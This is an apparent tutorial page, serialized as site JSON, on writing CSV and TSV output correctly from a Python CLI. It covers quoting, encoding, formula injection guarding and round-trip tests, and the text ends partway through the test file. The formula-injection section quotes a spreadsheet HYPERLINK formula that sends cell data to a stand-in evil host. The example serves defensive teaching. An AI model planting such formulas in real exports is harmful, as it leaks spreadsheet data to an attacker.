[{"data":1,"prerenderedAt":2810},["ShallowReactive",2],{"page-\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fwriting-csv-and-tsv-output-correctly\u002F":3,"content-directory":1966},{"id":4,"title":5,"body":6,"date":1952,"description":1953,"difficulty":1954,"draft":1955,"extension":1956,"meta":1957,"navigation":136,"path":1958,"seo":1959,"stem":1960,"tags":1961,"updated":1952,"__hash__":1965},"content\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fwriting-csv-and-tsv-output-correctly\u002Findex.md","Writing CSV and TSV Output Correctly from a Python CLI",{"type":7,"value":8,"toc":1934},"minimark",[9,41,46,59,63,69,73,91,95,628,638,693,720,724,727,730,756,781,803,881,885,914,1157,1160,1171,1175,1204,1208,1258,1262,1265,1802,1815,1819,1828,1832,1837,1843,1847,1866,1870,1884,1888,1895,1899,1930],[10,11,12,13,17,18,21,22,25,26,29,30,35,36,40],"p",{},"CSV looks like the easiest format a CLI can offer: join the values with commas, join the rows with newlines, done. Then a customer name contains a comma, a note contains a newline, someone opens the file in Excel and sees ",[14,15,16],"code",{},"Ã©"," where ",[14,19,20],{},"é"," should be, and a security review points out that a cell beginning with ",[14,23,24],{},"="," runs as a formula. TSV has its own version of the same story with shell tools. This guide writes both formats properly with the standard library's ",[14,27,28],{},"csv"," module, covers the decisions the module cannot make for you, and finishes with tests that prove the output parses. It belongs to the ",[31,32,34],"a",{"href":33},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002F","output formats topic",", and assumes records shaped as in ",[31,37,39],{"href":38},"\u002Fadvanced-input-parsing-user-experience\u002Foutput-formats-for-data-clis\u002Fadding-a-format-flag-for-table-json-and-csv\u002F","adding a format flag",".",[42,43,45],"h2",{"id":44},"prerequisites","Prerequisites",[47,48,49,53,56],"ul",{},[50,51,52],"li",{},"Python 3.10+; everything here uses the standard library.",[50,54,55],{},"A command that produces a list of dictionaries and a column list.",[50,57,58],{},"A spreadsheet application to check the result by eye at least once — Excel, LibreOffice Calc or Google Sheets behave differently in small ways.",[42,60,62],{"id":61},"why-string-joining-fails","Why string joining fails",[10,64,65,66,68],{},"The ",[14,67,28],{}," module exists because the format has rules that are easy to get almost right. A value containing the delimiter, a double quote or a line break must be wrapped in double quotes, and any double quote inside it doubled. A reader then has to track whether it is inside a quoted field to know whether a newline ends the record.",[70,71],"inline-diagram",{"name":72},"ofmt-csv-quoting",[10,74,75,78,79,82,83,86,87,90],{},[14,76,77],{},"\",\".join(values)"," gets none of that right, and the bugs only appear with real data. Always write through ",[14,80,81],{},"csv.writer"," or ",[14,84,85],{},"csv.DictWriter",", and always read back with ",[14,88,89],{},"csv.reader"," in tests.",[42,92,94],{"id":93},"the-csv-recipe","The CSV recipe",[96,97,102],"pre",{"className":98,"code":99,"language":100,"meta":101,"style":101},"language-python shiki shiki-themes github-light github-dark","# src\u002Ffleet\u002Ftabular.py\nfrom __future__ import annotations\n\nimport csv\nimport io\nimport json\nfrom collections.abc import Iterable, Sequence\nfrom typing import Any\n\nFORMULA_PREFIXES = (\"=\", \"+\", \"-\", \"@\", \"\\t\", \"\\r\")\n\n\ndef cell(value: Any, *, guard_formulas: bool = False) -> str:\n    \"\"\"Turn one value into the text of one cell.\"\"\"\n    if value is None:\n        return \"\"\n    if isinstance(value, bool):\n        return \"true\" if value else \"false\"\n    if isinstance(value, (list, dict)):\n        return json.dumps(value, separators=(\",\", \":\"), ensure_ascii=False)\n    text = str(value)\n    if guard_formulas and text.startswith(FORMULA_PREFIXES):\n        return \"'\" + text\n    return text\n\n\ndef to_csv(rows: Iterable[dict[str, Any]], columns: Sequence[str], *,\n           guard_formulas: bool = False) -> str:\n    buf = io.StringIO(newline=\"\")\n    writer = csv.writer(buf, lineterminator=\"\\n\")\n    writer.writerow(columns)\n    for row in rows:\n        writer.writerow([cell(row.get(c), guard_formulas=guard_formulas) for c in columns])\n    return buf.getvalue()\n","python","",[14,103,104,113,131,138,147,155,163,176,189,194,248,253,258,294,300,317,326,342,361,382,420,434,452,466,474,479,484,510,528,549,574,580,595,620],{"__ignoreMap":101},[105,106,109],"span",{"class":107,"line":108},"line",1,[105,110,112],{"class":111},"sJ8bj","# src\u002Ffleet\u002Ftabular.py\n",[105,114,116,120,124,127],{"class":107,"line":115},2,[105,117,119],{"class":118},"szBVR","from",[105,121,123],{"class":122},"sj4cs"," __future__",[105,125,126],{"class":118}," import",[105,128,130],{"class":129},"sVt8B"," annotations\n",[105,132,134],{"class":107,"line":133},3,[105,135,137],{"emptyLinePlaceholder":136},true,"\n",[105,139,141,144],{"class":107,"line":140},4,[105,142,143],{"class":118},"import",[105,145,146],{"class":129}," csv\n",[105,148,150,152],{"class":107,"line":149},5,[105,151,143],{"class":118},[105,153,154],{"class":129}," io\n",[105,156,158,160],{"class":107,"line":157},6,[105,159,143],{"class":118},[105,161,162],{"class":129}," json\n",[105,164,166,168,171,173],{"class":107,"line":165},7,[105,167,119],{"class":118},[105,169,170],{"class":129}," collections.abc ",[105,172,143],{"class":118},[105,174,175],{"class":129}," Iterable, Sequence\n",[105,177,179,181,184,186],{"class":107,"line":178},8,[105,180,119],{"class":118},[105,182,183],{"class":129}," typing ",[105,185,143],{"class":118},[105,187,188],{"class":129}," Any\n",[105,190,192],{"class":107,"line":191},9,[105,193,137],{"emptyLinePlaceholder":136},[105,195,197,200,203,206,210,213,216,218,221,223,226,228,231,234,236,238,240,243,245],{"class":107,"line":196},10,[105,198,199],{"class":122},"FORMULA_PREFIXES",[105,201,202],{"class":118}," =",[105,204,205],{"class":129}," (",[105,207,209],{"class":208},"sZZnC","\"=\"",[105,211,212],{"class":129},", ",[105,214,215],{"class":208},"\"+\"",[105,217,212],{"class":129},[105,219,220],{"class":208},"\"-\"",[105,222,212],{"class":129},[105,224,225],{"class":208},"\"@\"",[105,227,212],{"class":129},[105,229,230],{"class":208},"\"",[105,232,233],{"class":122},"\\t",[105,235,230],{"class":208},[105,237,212],{"class":129},[105,239,230],{"class":208},[105,241,242],{"class":122},"\\r",[105,244,230],{"class":208},[105,246,247],{"class":129},")\n",[105,249,251],{"class":107,"line":250},11,[105,252,137],{"emptyLinePlaceholder":136},[105,254,256],{"class":107,"line":255},12,[105,257,137],{"emptyLinePlaceholder":136},[105,259,261,264,268,271,274,277,280,282,285,288,291],{"class":107,"line":260},13,[105,262,263],{"class":118},"def",[105,265,267],{"class":266},"sScJk"," cell",[105,269,270],{"class":129},"(value: Any, ",[105,272,273],{"class":118},"*",[105,275,276],{"class":129},", guard_formulas: ",[105,278,279],{"class":122},"bool",[105,281,202],{"class":118},[105,283,284],{"class":122}," False",[105,286,287],{"class":129},") -> ",[105,289,290],{"class":122},"str",[105,292,293],{"class":129},":\n",[105,295,297],{"class":107,"line":296},14,[105,298,299],{"class":208},"    \"\"\"Turn one value into the text of one cell.\"\"\"\n",[105,301,303,306,309,312,315],{"class":107,"line":302},15,[105,304,305],{"class":118},"    if",[105,307,308],{"class":129}," value ",[105,310,311],{"class":118},"is",[105,313,314],{"class":122}," None",[105,316,293],{"class":129},[105,318,320,323],{"class":107,"line":319},16,[105,321,322],{"class":118},"        return",[105,324,325],{"class":208}," \"\"\n",[105,327,329,331,334,337,339],{"class":107,"line":328},17,[105,330,305],{"class":118},[105,332,333],{"class":122}," isinstance",[105,335,336],{"class":129},"(value, ",[105,338,279],{"class":122},[105,340,341],{"class":129},"):\n",[105,343,345,347,350,353,355,358],{"class":107,"line":344},18,[105,346,322],{"class":118},[105,348,349],{"class":208}," \"true\"",[105,351,352],{"class":118}," if",[105,354,308],{"class":129},[105,356,357],{"class":118},"else",[105,359,360],{"class":208}," \"false\"\n",[105,362,364,366,368,371,374,376,379],{"class":107,"line":363},19,[105,365,305],{"class":118},[105,367,333],{"class":122},[105,369,370],{"class":129},"(value, (",[105,372,373],{"class":122},"list",[105,375,212],{"class":129},[105,377,378],{"class":122},"dict",[105,380,381],{"class":129},")):\n",[105,383,385,387,390,394,396,399,402,404,407,410,413,415,418],{"class":107,"line":384},20,[105,386,322],{"class":118},[105,388,389],{"class":129}," json.dumps(value, ",[105,391,393],{"class":392},"s4XuR","separators",[105,395,24],{"class":118},[105,397,398],{"class":129},"(",[105,400,401],{"class":208},"\",\"",[105,403,212],{"class":129},[105,405,406],{"class":208},"\":\"",[105,408,409],{"class":129},"), ",[105,411,412],{"class":392},"ensure_ascii",[105,414,24],{"class":118},[105,416,417],{"class":122},"False",[105,419,247],{"class":129},[105,421,423,426,428,431],{"class":107,"line":422},21,[105,424,425],{"class":129},"    text ",[105,427,24],{"class":118},[105,429,430],{"class":122}," str",[105,432,433],{"class":129},"(value)\n",[105,435,437,439,442,445,448,450],{"class":107,"line":436},22,[105,438,305],{"class":118},[105,440,441],{"class":129}," guard_formulas ",[105,443,444],{"class":118},"and",[105,446,447],{"class":129}," text.startswith(",[105,449,199],{"class":122},[105,451,341],{"class":129},[105,453,455,457,460,463],{"class":107,"line":454},23,[105,456,322],{"class":118},[105,458,459],{"class":208}," \"'\"",[105,461,462],{"class":118}," +",[105,464,465],{"class":129}," text\n",[105,467,469,472],{"class":107,"line":468},24,[105,470,471],{"class":118},"    return",[105,473,465],{"class":129},[105,475,477],{"class":107,"line":476},25,[105,478,137],{"emptyLinePlaceholder":136},[105,480,482],{"class":107,"line":481},26,[105,483,137],{"emptyLinePlaceholder":136},[105,485,487,489,492,495,497,500,502,505,507],{"class":107,"line":486},27,[105,488,263],{"class":118},[105,490,491],{"class":266}," to_csv",[105,493,494],{"class":129},"(rows: Iterable[dict[",[105,496,290],{"class":122},[105,498,499],{"class":129},", Any]], columns: Sequence[",[105,501,290],{"class":122},[105,503,504],{"class":129},"], ",[105,506,273],{"class":118},[105,508,509],{"class":129},",\n",[105,511,513,516,518,520,522,524,526],{"class":107,"line":512},28,[105,514,515],{"class":129},"           guard_formulas: ",[105,517,279],{"class":122},[105,519,202],{"class":118},[105,521,284],{"class":122},[105,523,287],{"class":129},[105,525,290],{"class":122},[105,527,293],{"class":129},[105,529,531,534,536,539,542,544,547],{"class":107,"line":530},29,[105,532,533],{"class":129},"    buf ",[105,535,24],{"class":118},[105,537,538],{"class":129}," io.StringIO(",[105,540,541],{"class":392},"newline",[105,543,24],{"class":118},[105,545,546],{"class":208},"\"\"",[105,548,247],{"class":129},[105,550,552,555,557,560,563,565,567,570,572],{"class":107,"line":551},30,[105,553,554],{"class":129},"    writer ",[105,556,24],{"class":118},[105,558,559],{"class":129}," csv.writer(buf, ",[105,561,562],{"class":392},"lineterminator",[105,564,24],{"class":118},[105,566,230],{"class":208},[105,568,569],{"class":122},"\\n",[105,571,230],{"class":208},[105,573,247],{"class":129},[105,575,577],{"class":107,"line":576},31,[105,578,579],{"class":129},"    writer.writerow(columns)\n",[105,581,583,586,589,592],{"class":107,"line":582},32,[105,584,585],{"class":118},"    for",[105,587,588],{"class":129}," row ",[105,590,591],{"class":118},"in",[105,593,594],{"class":129}," rows:\n",[105,596,598,601,604,606,609,612,615,617],{"class":107,"line":597},33,[105,599,600],{"class":129},"        writer.writerow([cell(row.get(c), ",[105,602,603],{"class":392},"guard_formulas",[105,605,24],{"class":118},[105,607,608],{"class":129},"guard_formulas) ",[105,610,611],{"class":118},"for",[105,613,614],{"class":129}," c ",[105,616,591],{"class":118},[105,618,619],{"class":129}," columns])\n",[105,621,623,625],{"class":107,"line":622},34,[105,624,471],{"class":118},[105,626,627],{"class":129}," buf.getvalue()\n",[10,629,65,630,633,634,637],{},[14,631,632],{},"cell()"," function makes the type decisions explicit instead of leaving them to ",[14,635,636],{},"str()",":",[47,639,640,656,674,687],{},[50,641,642,649,650,652,653,655],{},[643,644,645,648],"strong",{},[14,646,647],{},"None"," becomes an empty cell",", not the string ",[14,651,647],{},". A spreadsheet user reads an empty cell as \"no value\"; ",[14,654,647],{}," reads as data.",[50,657,658,668,669,664,672,40],{},[643,659,660,661,664,665],{},"Booleans become ",[14,662,663],{},"true","\u002F",[14,666,667],{},"false",", matching the JSON output, rather than Python's ",[14,670,671],{},"True",[14,673,417],{},[50,675,676,679,680,212,683,686],{},[643,677,678],{},"Nested values become compact JSON"," inside the cell. That is lossless and parseable. The alternative — flattening to ",[14,681,682],{},"owner.name",[14,684,685],{},"owner.email"," columns — is often nicer but needs a fixed schema; choose per command, not per value.",[50,688,689,692],{},[643,690,691],{},"Formula guarding is opt-in."," More on that below.",[10,694,695,696,698,699,212,702,705,706,709,710,712,713,715,716,719],{},"The line terminator deserves its own note. RFC 4180 says CRLF, and ",[14,697,81],{}," defaults to it. Excel and the Python reader accept either, but ",[14,700,701],{},"wc -l",[14,703,704],{},"diff"," and ",[14,707,708],{},"grep"," on Unix see ",[14,711,242],{}," as part of the last field. A CLI whose CSV is mostly consumed by scripts should write ",[14,714,569],{},"; one whose CSV is mostly opened in Excel on Windows can keep the default. When writing to a file, open it with ",[14,717,718],{},"newline=\"\""," so Python does not translate line endings a second time.",[42,721,723],{"id":722},"spreadsheet-quirks","Spreadsheet quirks",[10,725,726],{},"Spreadsheets are the main reason people ask for CSV, and they add three problems the format itself does not have.",[70,728],{"name":729},"ofmt-csv-spreadsheet-quirks",[10,731,732,735,736,739,740,743,744,747,748,751,752,755],{},[643,733,734],{},"Encoding."," Excel on Windows opens a UTF-8 CSV as the legacy ANSI code page unless the file starts with a byte order mark. Writing with ",[14,737,738],{},"encoding=\"utf-8-sig\""," adds the BOM; LibreOffice and Google Sheets ignore it, but ",[14,741,742],{},"jq","-style tools and some CSV parsers treat it as part of the first header. Offer it for files, not for stdout: ",[14,745,746],{},"--excel"," or an ",[14,749,750],{},"export"," command that writes ",[14,753,754],{},"utf-8-sig",", and plain UTF-8 everywhere else.",[10,757,758,761,762,765,766,212,769,772,773,776,777,780],{},[643,759,760],{},"Type guessing."," Excel turns ",[14,763,764],{},"00123"," into ",[14,767,768],{},"123",[14,770,771],{},"1-2"," into a date and a long numeric ID into scientific notation. There is no portable way to stop it from inside a CSV. Document the behaviour, or for identifiers that matter offer an ",[14,774,775],{},".xlsx"," export via ",[14,778,779],{},"openpyxl"," where cells can be typed as text.",[10,782,783,786,787,212,789,212,792,82,795,798,799,802],{},[643,784,785],{},"Formula injection."," A cell starting with ",[14,788,24],{},[14,790,791],{},"+",[14,793,794],{},"-",[14,796,797],{},"@"," is evaluated as a formula when the file is opened. If any column contains text that came from users — names, comments, ticket titles — a malicious value such as ",[14,800,801],{},"=HYPERLINK(\"http:\u002F\u002Fevil.example\u002F?\"&A1, \"click\")"," runs on the reader's machine. The OWASP recommendation is to prefix such cells with a single quote. That alters the data for programs, so the safe policy is: guard when exporting for spreadsheets, leave values untouched for machine pipelines.",[96,804,806],{"className":98,"code":805,"language":100,"meta":101,"style":101},"def export_for_spreadsheet(path, rows, columns):\n    text = to_csv(rows, columns, guard_formulas=True)\n    with open(path, \"w\", encoding=\"utf-8-sig\", newline=\"\") as fh:\n        fh.write(text)\n",[14,807,808,818,835,876],{"__ignoreMap":101},[105,809,810,812,815],{"class":107,"line":108},[105,811,263],{"class":118},[105,813,814],{"class":266}," export_for_spreadsheet",[105,816,817],{"class":129},"(path, rows, columns):\n",[105,819,820,822,824,827,829,831,833],{"class":107,"line":115},[105,821,425],{"class":129},[105,823,24],{"class":118},[105,825,826],{"class":129}," to_csv(rows, columns, ",[105,828,603],{"class":392},[105,830,24],{"class":118},[105,832,671],{"class":122},[105,834,247],{"class":129},[105,836,837,840,843,846,849,851,854,856,859,861,863,865,867,870,873],{"class":107,"line":133},[105,838,839],{"class":118},"    with",[105,841,842],{"class":122}," open",[105,844,845],{"class":129},"(path, ",[105,847,848],{"class":208},"\"w\"",[105,850,212],{"class":129},[105,852,853],{"class":392},"encoding",[105,855,24],{"class":118},[105,857,858],{"class":208},"\"utf-8-sig\"",[105,860,212],{"class":129},[105,862,541],{"class":392},[105,864,24],{"class":118},[105,866,546],{"class":208},[105,868,869],{"class":129},") ",[105,871,872],{"class":118},"as",[105,874,875],{"class":129}," fh:\n",[105,877,878],{"class":107,"line":140},[105,879,880],{"class":129},"        fh.write(text)\n",[42,882,884],{"id":883},"the-tsv-recipe","The TSV recipe",[10,886,887,888,212,891,212,894,705,897,900,901,905,906,909,910,913],{},"TSV serves a different reader: the shell. ",[14,889,890],{},"cut -f2",[14,892,893],{},"awk -F'\\t'",[14,895,896],{},"sort -t$'\\t' -k3",[14,898,899],{},"while IFS=$'\\t' read -r a b c"," all split on tabs and know nothing about quoting. So TSV output must guarantee that tabs and newlines never appear ",[902,903,904],"em",{},"inside"," a field. The convention used by PostgreSQL's ",[14,907,908],{},"COPY"," and by ",[14,911,912],{},"mysql --batch"," is backslash escaping:",[96,915,917],{"className":98,"code":916,"language":100,"meta":101,"style":101},"# src\u002Ffleet\u002Ftabular.py (continued)\n_TSV_ESCAPES = str.maketrans({\"\\\\\": \"\\\\\\\\\", \"\\t\": \"\\\\t\", \"\\n\": \"\\\\n\", \"\\r\": \"\\\\r\"})\n\n\ndef to_tsv(rows: Iterable[dict[str, Any]], columns: Sequence[str], *,\n           header: bool = True) -> str:\n    lines = []\n    if header:\n        lines.append(\"\\t\".join(columns))\n    for row in rows:\n        lines.append(\"\\t\".join(cell(row.get(c)).translate(_TSV_ESCAPES) for c in columns))\n    return \"\\n\".join(lines) + (\"\\n\" if lines else \"\")\n",[14,918,919,924,1007,1011,1015,1036,1054,1064,1071,1085,1095,1121],{"__ignoreMap":101},[105,920,921],{"class":107,"line":108},[105,922,923],{"class":111},"# src\u002Ffleet\u002Ftabular.py (continued)\n",[105,925,926,929,931,933,936,938,941,943,946,948,951,953,955,957,959,961,963,965,967,970,972,974,976,978,980,982,984,987,989,991,993,995,997,999,1001,1004],{"class":107,"line":115},[105,927,928],{"class":122},"_TSV_ESCAPES",[105,930,202],{"class":118},[105,932,430],{"class":122},[105,934,935],{"class":129},".maketrans({",[105,937,230],{"class":208},[105,939,940],{"class":122},"\\\\",[105,942,230],{"class":208},[105,944,945],{"class":129},": ",[105,947,230],{"class":208},[105,949,950],{"class":122},"\\\\\\\\",[105,952,230],{"class":208},[105,954,212],{"class":129},[105,956,230],{"class":208},[105,958,233],{"class":122},[105,960,230],{"class":208},[105,962,945],{"class":129},[105,964,230],{"class":208},[105,966,940],{"class":122},[105,968,969],{"class":208},"t\"",[105,971,212],{"class":129},[105,973,230],{"class":208},[105,975,569],{"class":122},[105,977,230],{"class":208},[105,979,945],{"class":129},[105,981,230],{"class":208},[105,983,940],{"class":122},[105,985,986],{"class":208},"n\"",[105,988,212],{"class":129},[105,990,230],{"class":208},[105,992,242],{"class":122},[105,994,230],{"class":208},[105,996,945],{"class":129},[105,998,230],{"class":208},[105,1000,940],{"class":122},[105,1002,1003],{"class":208},"r\"",[105,1005,1006],{"class":129},"})\n",[105,1008,1009],{"class":107,"line":133},[105,1010,137],{"emptyLinePlaceholder":136},[105,1012,1013],{"class":107,"line":140},[105,1014,137],{"emptyLinePlaceholder":136},[105,1016,1017,1019,1022,1024,1026,1028,1030,1032,1034],{"class":107,"line":149},[105,1018,263],{"class":118},[105,1020,1021],{"class":266}," to_tsv",[105,1023,494],{"class":129},[105,1025,290],{"class":122},[105,1027,499],{"class":129},[105,1029,290],{"class":122},[105,1031,504],{"class":129},[105,1033,273],{"class":118},[105,1035,509],{"class":129},[105,1037,1038,1041,1043,1045,1048,1050,1052],{"class":107,"line":157},[105,1039,1040],{"class":129},"           header: ",[105,1042,279],{"class":122},[105,1044,202],{"class":118},[105,1046,1047],{"class":122}," True",[105,1049,287],{"class":129},[105,1051,290],{"class":122},[105,1053,293],{"class":129},[105,1055,1056,1059,1061],{"class":107,"line":165},[105,1057,1058],{"class":129},"    lines ",[105,1060,24],{"class":118},[105,1062,1063],{"class":129}," []\n",[105,1065,1066,1068],{"class":107,"line":178},[105,1067,305],{"class":118},[105,1069,1070],{"class":129}," header:\n",[105,1072,1073,1076,1078,1080,1082],{"class":107,"line":191},[105,1074,1075],{"class":129},"        lines.append(",[105,1077,230],{"class":208},[105,1079,233],{"class":122},[105,1081,230],{"class":208},[105,1083,1084],{"class":129},".join(columns))\n",[105,1086,1087,1089,1091,1093],{"class":107,"line":196},[105,1088,585],{"class":118},[105,1090,588],{"class":129},[105,1092,591],{"class":118},[105,1094,594],{"class":129},[105,1096,1097,1099,1101,1103,1105,1108,1110,1112,1114,1116,1118],{"class":107,"line":250},[105,1098,1075],{"class":129},[105,1100,230],{"class":208},[105,1102,233],{"class":122},[105,1104,230],{"class":208},[105,1106,1107],{"class":129},".join(cell(row.get(c)).translate(",[105,1109,928],{"class":122},[105,1111,869],{"class":129},[105,1113,611],{"class":118},[105,1115,614],{"class":129},[105,1117,591],{"class":118},[105,1119,1120],{"class":129}," columns))\n",[105,1122,1123,1125,1128,1130,1132,1135,1137,1139,1141,1143,1145,1147,1150,1152,1155],{"class":107,"line":255},[105,1124,471],{"class":118},[105,1126,1127],{"class":208}," \"",[105,1129,569],{"class":122},[105,1131,230],{"class":208},[105,1133,1134],{"class":129},".join(lines) ",[105,1136,791],{"class":118},[105,1138,205],{"class":129},[105,1140,230],{"class":208},[105,1142,569],{"class":122},[105,1144,230],{"class":208},[105,1146,352],{"class":118},[105,1148,1149],{"class":129}," lines ",[105,1151,357],{"class":118},[105,1153,1154],{"class":208}," \"\"",[105,1156,247],{"class":129},[70,1158],{"name":1159},"ofmt-tsv-shell",[10,1161,1162,1163,1166,1167,1170],{},"Offer a ",[14,1164,1165],{},"--no-headers"," flag for TSV — shell loops rarely want the header line, and ",[14,1168,1169],{},"tail -n +2"," everywhere is tedious. Some tools go further and make TSV header-less by default; whichever you choose, keep it consistent across commands.",[42,1172,1174],{"id":1173},"reading-csv-back-in","Reading CSV back in",[10,1176,1177,1178,705,1180,1182,1183,1186,1187,1190,1191,212,1194,212,1197,82,1200,1203],{},"Tools that export CSV are often asked to import it too — \"edit the spreadsheet, then load it back\". The same rules apply in reverse: open files with ",[14,1179,718],{},[14,1181,738],{}," (which strips a BOM if present and is harmless otherwise), read with ",[14,1184,1185],{},"csv.DictReader",", and validate every row before acting on any of them, reporting the line number of the first bad row. ",[14,1188,1189],{},"reader.line_num"," gives the physical line, which accounts for quoted newlines. If you guarded formulas on export, strip the leading apostrophe on import only for cells that start with ",[14,1192,1193],{},"'=",[14,1195,1196],{},"'+",[14,1198,1199],{},"'-",[14,1201,1202],{},"'@",", so values that legitimately begin with an apostrophe survive.",[42,1205,1207],{"id":1206},"ux-considerations","UX considerations",[47,1209,1210,1227,1236,1242,1252],{},[50,1211,1212,1215,1216,1219,1220,1223,1224,40],{},[643,1213,1214],{},"Keep column names identical to JSON keys."," A user who learns ",[14,1217,1218],{},"cpu"," from ",[14,1221,1222],{},"-o csv"," should be able to write ",[14,1225,1226],{},"jq '.cpu'",[50,1228,1229,1232,1233,40],{},[643,1230,1231],{},"Fix the column order"," to the selected fields, not dictionary order, so scripts can rely on ",[14,1234,1235],{},"cut -f3",[50,1237,1238,1241],{},[643,1239,1240],{},"Stream large results."," Both writers above work row by row; for big exports, write each row straight to the output instead of building one string, so memory stays flat.",[50,1243,1244,1247,1248,1251],{},[643,1245,1246],{},"Do not localise numbers."," A decimal comma breaks every parser. If users in comma-decimal locales want semicolon-separated files for Excel, offer ",[14,1249,1250],{},"--delimiter ';'"," rather than changing the number format.",[50,1253,1254,1257],{},[643,1255,1256],{},"Mention formula guarding in the help text"," of the export command, so nobody is surprised by a leading apostrophe.",[42,1259,1261],{"id":1260},"testing-the-behaviour","Testing the behaviour",[10,1263,1264],{},"Round-trip tests are the strongest check: write awkward values, parse them back with the standard library, and compare. They catch quoting bugs without hard-coding escape sequences into assertions.",[96,1266,1268],{"className":98,"code":1267,"language":100,"meta":101,"style":101},"# tests\u002Ftest_tabular.py\nimport csv\nimport io\n\nfrom fleet.tabular import to_csv, to_tsv\n\nNASTY = [\n    {\"name\": 'Ann \"the admin\"', \"note\": \"a, b\\nc\", \"tags\": [\"x\", \"y\"], \"n\": None},\n    {\"name\": \"=SUM(A1:A9)\", \"note\": \"tab\\there\", \"tags\": [], \"n\": 3},\n]\nCOLS = [\"name\", \"note\", \"tags\", \"n\"]\n\n\ndef test_csv_round_trips():\n    parsed = list(csv.DictReader(io.StringIO(to_csv(NASTY, COLS))))\n    assert parsed[0][\"name\"] == 'Ann \"the admin\"'\n    assert parsed[0][\"note\"] == \"a, b\\nc\"\n    assert parsed[0][\"tags\"] == '[\"x\",\"y\"]'\n    assert parsed[0][\"n\"] == \"\"\n\n\ndef test_formula_guard_only_when_asked():\n    plain = list(csv.reader(io.StringIO(to_csv(NASTY, COLS))))\n    guarded = list(csv.reader(io.StringIO(to_csv(NASTY, COLS, guard_formulas=True))))\n    assert plain[2][0] == \"=SUM(A1:A9)\"\n    assert guarded[2][0] == \"'=SUM(A1:A9)\"\n\n\ndef test_tsv_has_one_line_per_record_and_fixed_field_count():\n    lines = to_tsv(NASTY, COLS).splitlines()\n    assert len(lines) == 3\n    assert all(len(line.split(\"\\t\")) == 4 for line in lines)\n    assert lines[2].split(\"\\t\")[1] == \"tab\\\\there\"\n",[14,1269,1270,1275,1281,1287,1291,1303,1307,1317,1373,1414,1419,1445,1449,1453,1463,1485,1510,1534,1553,1571,1575,1579,1588,1608,1635,1656,1676,1680,1684,1693,1711,1726,1766],{"__ignoreMap":101},[105,1271,1272],{"class":107,"line":108},[105,1273,1274],{"class":111},"# tests\u002Ftest_tabular.py\n",[105,1276,1277,1279],{"class":107,"line":115},[105,1278,143],{"class":118},[105,1280,146],{"class":129},[105,1282,1283,1285],{"class":107,"line":133},[105,1284,143],{"class":118},[105,1286,154],{"class":129},[105,1288,1289],{"class":107,"line":140},[105,1290,137],{"emptyLinePlaceholder":136},[105,1292,1293,1295,1298,1300],{"class":107,"line":149},[105,1294,119],{"class":118},[105,1296,1297],{"class":129}," fleet.tabular ",[105,1299,143],{"class":118},[105,1301,1302],{"class":129}," to_csv, to_tsv\n",[105,1304,1305],{"class":107,"line":157},[105,1306,137],{"emptyLinePlaceholder":136},[105,1308,1309,1312,1314],{"class":107,"line":165},[105,1310,1311],{"class":122},"NASTY",[105,1313,202],{"class":118},[105,1315,1316],{"class":129}," [\n",[105,1318,1319,1322,1325,1327,1330,1332,1335,1337,1340,1342,1345,1347,1350,1353,1356,1358,1361,1363,1366,1368,1370],{"class":107,"line":178},[105,1320,1321],{"class":129},"    {",[105,1323,1324],{"class":208},"\"name\"",[105,1326,945],{"class":129},[105,1328,1329],{"class":208},"'Ann \"the admin\"'",[105,1331,212],{"class":129},[105,1333,1334],{"class":208},"\"note\"",[105,1336,945],{"class":129},[105,1338,1339],{"class":208},"\"a, b",[105,1341,569],{"class":122},[105,1343,1344],{"class":208},"c\"",[105,1346,212],{"class":129},[105,1348,1349],{"class":208},"\"tags\"",[105,1351,1352],{"class":129},": [",[105,1354,1355],{"class":208},"\"x\"",[105,1357,212],{"class":129},[105,1359,1360],{"class":208},"\"y\"",[105,1362,504],{"class":129},[105,1364,1365],{"class":208},"\"n\"",[105,1367,945],{"class":129},[105,1369,647],{"class":122},[105,1371,1372],{"class":129},"},\n",[105,1374,1375,1377,1379,1381,1384,1386,1388,1390,1393,1395,1398,1400,1402,1405,1407,1409,1412],{"class":107,"line":191},[105,1376,1321],{"class":129},[105,1378,1324],{"class":208},[105,1380,945],{"class":129},[105,1382,1383],{"class":208},"\"=SUM(A1:A9)\"",[105,1385,212],{"class":129},[105,1387,1334],{"class":208},[105,1389,945],{"class":129},[105,1391,1392],{"class":208},"\"tab",[105,1394,233],{"class":122},[105,1396,1397],{"class":208},"here\"",[105,1399,212],{"class":129},[105,1401,1349],{"class":208},[105,1403,1404],{"class":129},": [], ",[105,1406,1365],{"class":208},[105,1408,945],{"class":129},[105,1410,1411],{"class":122},"3",[105,1413,1372],{"class":129},[105,1415,1416],{"class":107,"line":196},[105,1417,1418],{"class":129},"]\n",[105,1420,1421,1424,1426,1429,1431,1433,1435,1437,1439,1441,1443],{"class":107,"line":250},[105,1422,1423],{"class":122},"COLS",[105,1425,202],{"class":118},[105,1427,1428],{"class":129}," [",[105,1430,1324],{"class":208},[105,1432,212],{"class":129},[105,1434,1334],{"class":208},[105,1436,212],{"class":129},[105,1438,1349],{"class":208},[105,1440,212],{"class":129},[105,1442,1365],{"class":208},[105,1444,1418],{"class":129},[105,1446,1447],{"class":107,"line":255},[105,1448,137],{"emptyLinePlaceholder":136},[105,1450,1451],{"class":107,"line":260},[105,1452,137],{"emptyLinePlaceholder":136},[105,1454,1455,1457,1460],{"class":107,"line":296},[105,1456,263],{"class":118},[105,1458,1459],{"class":266}," test_csv_round_trips",[105,1461,1462],{"class":129},"():\n",[105,1464,1465,1468,1470,1473,1476,1478,1480,1482],{"class":107,"line":302},[105,1466,1467],{"class":129},"    parsed ",[105,1469,24],{"class":118},[105,1471,1472],{"class":122}," list",[105,1474,1475],{"class":129},"(csv.DictReader(io.StringIO(to_csv(",[105,1477,1311],{"class":122},[105,1479,212],{"class":129},[105,1481,1423],{"class":122},[105,1483,1484],{"class":129},"))))\n",[105,1486,1487,1490,1493,1496,1499,1501,1504,1507],{"class":107,"line":319},[105,1488,1489],{"class":118},"    assert",[105,1491,1492],{"class":129}," parsed[",[105,1494,1495],{"class":122},"0",[105,1497,1498],{"class":129},"][",[105,1500,1324],{"class":208},[105,1502,1503],{"class":129},"] ",[105,1505,1506],{"class":118},"==",[105,1508,1509],{"class":208}," 'Ann \"the 